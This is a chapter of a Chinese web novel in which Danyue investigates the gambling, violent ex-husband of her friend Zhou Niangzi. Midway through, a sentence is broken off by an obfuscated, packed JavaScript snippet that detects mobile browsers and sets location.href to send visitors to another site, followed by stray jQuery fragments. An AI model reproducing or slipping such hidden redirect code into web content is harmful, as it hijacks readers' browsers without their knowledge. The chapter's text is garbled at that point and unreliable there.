179.第 179 章

作品:《孤女淡月

    “原来是这样……”许恒松了口气,但仍不忘叮嘱,“即便如此,与林兰相处也需多加留心。那丫头心思单纯,但她兄长……”他顿了顿,“总之,莫要太过涉入他们的家事,保护好自己。”


    “知道啦,啰嗦。”淡月嘴上嫌弃,挽着他的手却紧了紧,心里是暖的。


    两人不知不觉走到了后院那片原本略显空旷的角落。


    原本只有些杂草和零落石块的地方,不知何时,被人精心开垦出了几小块整齐的田垄,上面栽种着一种低矮的墨绿色的植物。此刻,在叶丛间竟已悄然钻出了数十个鼓鼓囊囊的花苞!


    凛冽的寒风中,它们却拥有着勃勃生机。


    “这是……冬月兰?”许恒有些惊讶,他认得这种花,是海岛上冬日里少数能傲然绽放的野花,极耐寒,香气清冽悠远,只是移植和照料并不容易。


    “呀!真的开花了!”淡月惊喜地低呼一声,松开他的胳膊,快走两步蹲到花田边,小心翼翼地伸出手指,虚虚地碰了碰一个饱满的花苞,眼中满是欣喜,“前几日看周娘子在倒腾这里,还问她在种什么,她还跟我卖关子呢!说种点冬天的念想。没想到竟是冬月兰,还这么快就有花苞了!”


    许恒也蹲下身,靠近她。


    淡月专注于眼前的花苞,鼻尖几乎要碰到花瓣,许恒的目光,不由自主地从花苞移到了她的侧脸。月光勾勒出她柔和精致的轮廓,泛着光芒一般很是美丽。


    她似乎察觉到了,微微偏过头。两人的视线,就这样在幽幽待放的花苞旁,撞在了一起。


    时间仿佛在这一刻被拉长,他们眼眸中的对方都拥有着无比浪漫的模样。


    次日一早,淡月便带着阿山,直奔周娘子前夫所在的包子铺。


    行前,许恒与阿丛、石头也已整装待发,准备去详细查探那条新发现的路。临出门前,本应该只是四人商议的时间,变成了六人。他当着阿丛和石头的面,交代今日需要做的事情:“你们需得检查好随身工具带齐了没?新发现的那条路,今日需再去确认细节,尤其是负重通行的可能,以及出口处的潮汐与隐蔽情况。”


    阿丛神色沉稳,用力点头:“许郎君放心,那路我反复走过几段,虽险,但踏实。这次带上绳索和更多标记,定能探得更清楚。”


    石头也憨厚地拍拍胸脯:“俺力气大,探路扛东西都行!”


    站在一旁的淡月,有些愣神,她发现这二人似乎知晓他们即将要做的事情。疑惑的目光看向许恒,发现他投来的点头是带着笑意的。


    看来是了。


    临走之前,阿丛和石头还向她拱手行礼,态度十分客气。


    这个院子里的人,明明只是来求个谋生之所,却被他们卷进未知的乱流之中。也不知是对,还是错。


    但有一点可以确定,他们愿意心甘情愿地跟随,便是有了一股即便搭上性命也要搏一搏的想法,这与他们正在做的事情,不谋而合。


    收敛心绪,淡月将发髻梳得一丝不苟,气质顿时从温婉女子摇身一变成了颇有派头的大家小姐。阿山也换了一身利落又不失体面的短打,跟在身后,手里还拎着个看似装钱物的锦囊。


    包子铺的位置果然不错,码头与市集的交汇处,人来人往。但淡月和阿山走近时,却觉得铺面有些冷清。蒸笼冒着热气,却不见多少客人排队,只有零星一两个匆匆买了就走。铺子里,一个身材微胖,眼神却透着精明的中年男人正在揉面,正是周娘子的前夫,孙力。


    淡月使了个眼色,阿山会意,上前一步,嗓门洪亮:“掌柜的!我们家小姐府上要办个小宴,需订未来三日的包子,每日要足一百五十个!肉馅要七分瘦三分肥,菜馅要当日最新鲜的!每日戌时初刻,派人来取,可能保证?”


    孙力闻言,揉面的手一顿,抬起眼皮打量了一下他们,是生面孔。一百五十个包子不是小数目,连订三日,算是大客户。但他脸上却并未露出太多喜色,反而有些迟疑,搓着手,眼神闪烁:“这个……一百五十个……还要指定时辰取货……小姐,这价钱……”


    阿山眉头一皱,正要发作,忽听得后厨帘子一响,一个穿着水红色袄子,鬓边簪着一朵廉价绢花的年轻女子扭着腰肢走了出来。她面容算得上姣好,但妆容过于浓艳,眼神流转间带着一股刻意营造的风尘媚态。她一出来,就很自然地贴到了孙力身边,声音又嗲又软:“大郎,有生意上门是好事呀,还犹豫什么?”


    孙力似乎很吃她这一套,脸色缓和了些,但还是看向淡月:“小姐,不是小的不信您,只是这订量不小,又连订三日,按规矩,得先付三成定金……”


    淡月心中冷笑,面上却不显,只淡淡道:“规矩?什么规矩?我徐家办事,向来是一手交钱,一手交货,从无付定金的道理。”


    那红衣女子眼波流转,听到“徐家”,眼神闪了闪,似乎想到了什么。她忽然松开孙力,上前两步,脸上堆满讨好的笑:“哎哟,原来是徐老家的贵人小姐!真是失敬失敬!我们这小铺子能得您光顾,是福气!定金什么的,好说好说……”


    她的手还没碰到淡月,淡月已是眉头一蹙,毫不掩饰地后退半步。阿山反应极快,立刻横身上前,声音带着怒意:“放肆!我家小姐金枝玉叶,岂是你能随意碰触的?!不懂规矩!”


    他这一嗓子,不仅吓了那女子一跳,也引得铺子外零星几个路人侧目。阿山本就生得高大,此刻怒目而视,气势颇足。


    红衣女子讪讪地缩回手,脸上红一阵白一阵。孙力也慌了,连忙赔笑作揖:“对不住对不住!内子不懂事,冲撞了小姐!山爷息怒!这生意我们接!接!定金不要了,不要了!”


    淡月冷着脸,不再多言,只对阿山道:“既然接了,就按方才说的办。戌时来取,若有差池……” 她没说完,孙力夫妇就连声保证“绝无问题”。


    走出包子铺一段距离,淡月才轻轻舒了口气,眉头却未展开。她回想起铺子里的冷清,与阿山之前打听到的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865088|164853||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “生意红火”截然不同。而且,那红衣女子的做派……绝非良家。


    “阿山,去仔细打听这个包子铺,还有那个女子。记住,要想消息真实,那就要去找真实的人问询,这人无论老少,只要符合皆可。” 淡月吩咐道。


    不到两个时辰,阿山带着一个收了铜钱的街边孩童回来了。


    孩童得了好处,竹筒倒豆子般将自己知道的全说了:


    “那孙力?赌鬼一个!把原来周婶子的嫁妆和攒下的钱都输光了!为了娶现在这个不知从哪出来的红姑,又借了不少印子钱,铺子都快押出去了!”


    “生意好?那是几个月前的事儿了!自从他迷上赌,心思不在铺子上,用料也开始偷工减料,味道不如从前,老客都不爱来了!红姑又是个只会打扮不会干活的,铺子全靠一个老伙计撑着,能不惨淡吗?”


    看来,这孙力和红姑好上可不是一天两天了。周娘子究竟经历了何等痛楚,才决心要和离的,还不带一份资产。这故事,听得让人心揪。


    她疑惑提问:“他欠了那么多钱,又骗了周娘子,难道就没人找他麻烦?”


    孩童撇撇嘴:“怎么没有?一开始有。可周婶子心善啊,以前没少帮衬邻里。大家看在周婶子面上,又觉得她嫁了这么个人可怜,才没真闹起来。而且……” 孩童压低了声音,“这孙力喝了酒或者输了钱,回家就打人!周婶子的身上经常带伤,可她好面子,从不说,只说是自己不小心摔的。街坊都猜得到,但清官难断家务事,谁也不好管。”


    淡月心中一沉,难怪周娘子对前夫如此恐惧抗拒。


    “那他们和离的事情,你们又是怎么知道的?” 淡月问。


    孩童眨眨眼:“就前几天的事儿啊!闹得挺凶的,红姑在铺子里指着周婶子骂,说她‘占着茅坑不拉屎’、‘生不出儿子’,孙力也在旁边帮腔。周婶子那天提得和离,然后哭着跑了。动静不小,左邻右舍都听见了。后来就听说他们私下写了字据,周婶子啥也没要,就走了。”


    阿山听完,气得额角青筋都爆了起来,“这他娘的算哪门子和离!” 他低吼出声,“分明是奸夫□□!吃着原配的,住着原配的,花光了原配的钱,还要把原配扫地出门,最后还想把烂账屎盆子都扣到原配头上!开封城最下三滥的戏班子,都写不出这等丧尽天良的戏码!”


    他越想越气,弯腰从地上抓起一根枯枝,手臂肌肉偾张,朝着不远处一棵老树狠狠掷去!枯枝带着破风声,“啪”的一声脆响,撞在树干上,断成几截,碎屑纷飞。


    淡月并未阻止阿山的发泄,她同样心中翻涌着怒火与寒意,但现下发火还不是时候。


    “小兄弟,” 淡月声音放得更柔和,“你方才说的这些,对我们帮助很大。不过,我总觉得……你似乎还有些话,没说完?”


    孩童眼珠骨碌碌转了两下,舔了舔有些干的嘴唇,没吭声,只是搓了搓手指,又飞快地瞟了一眼阿山腰间那个看起来沉甸甸的锦囊。